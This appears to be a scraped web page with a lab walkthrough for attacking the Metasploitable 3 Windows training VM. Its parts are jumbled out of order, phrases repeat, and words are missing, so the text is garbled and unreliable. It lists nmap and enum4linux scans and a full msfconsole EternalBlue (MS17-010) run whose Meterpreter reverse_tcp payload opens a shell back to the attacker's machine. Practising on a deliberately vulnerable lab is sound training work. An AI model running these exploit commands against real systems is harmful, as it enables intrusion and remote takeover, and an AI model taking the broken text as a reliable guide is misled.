Metasploitable 3 Windows Walkthrough =link= ✭
enum4linux 192.168.56.103 nmap --script smb-vuln* -p 445 192.168.56.103 Expect to see flagged – yes, Metasploitable 3 is unpatched against it.
msfconsole msf6 > search ms17-010 msf6 > use exploit/windows/smb/ms17_010_eternalblue msf6 > set RHOSTS 192.168.56.103 msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp msf6 > set LHOST 192.168.56.102 (your Kali IP) msf6 > run If successful (85% of the time), you’ll get a level Meterpreter shell. metasploitable 3 windows walkthrough
Now go break things (legally). Looking for more? Try the "Metasploitable 3 Linux vs Windows" comparison, or set up a domain controller and practice lateral movement with PsExec. enum4linux 192
Unlike its predecessor, Metasploitable 3 runs on (or Windows 10/11 via Hyper-V) and includes hundreds of vulnerabilities: outdated software, weak passwords, misconfigured services, and unpatched kernel flaws. Looking for more
PORT STATE SERVICE VERSION 80/tcp open http Apache Tomcat 6.0.20 135/tcp open msrpc Windows RPC 139/tcp open netbios-ssn Samba smbd 3.X 445/tcp open microsoft-ds Windows 2008 R2 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (WinRM) 3306/tcp open mysql MySQL 5.1.66 3389/tcp open tcpwrapped RDP 47001/tcp open http Microsoft HTTPAPI 8182/tcp open unknown SMB (Port 445) – Goldmine:
Introduction: Why Metasploitable 3? In the world of ethical hacking, you need a safe, legal sandbox to test your skills. While Metasploitable 2 (Linux-based) has been the gold standard for over a decade, Metasploitable 3 is the modern evolution—a deliberately vulnerable Windows machine designed to teach real-world exploitation.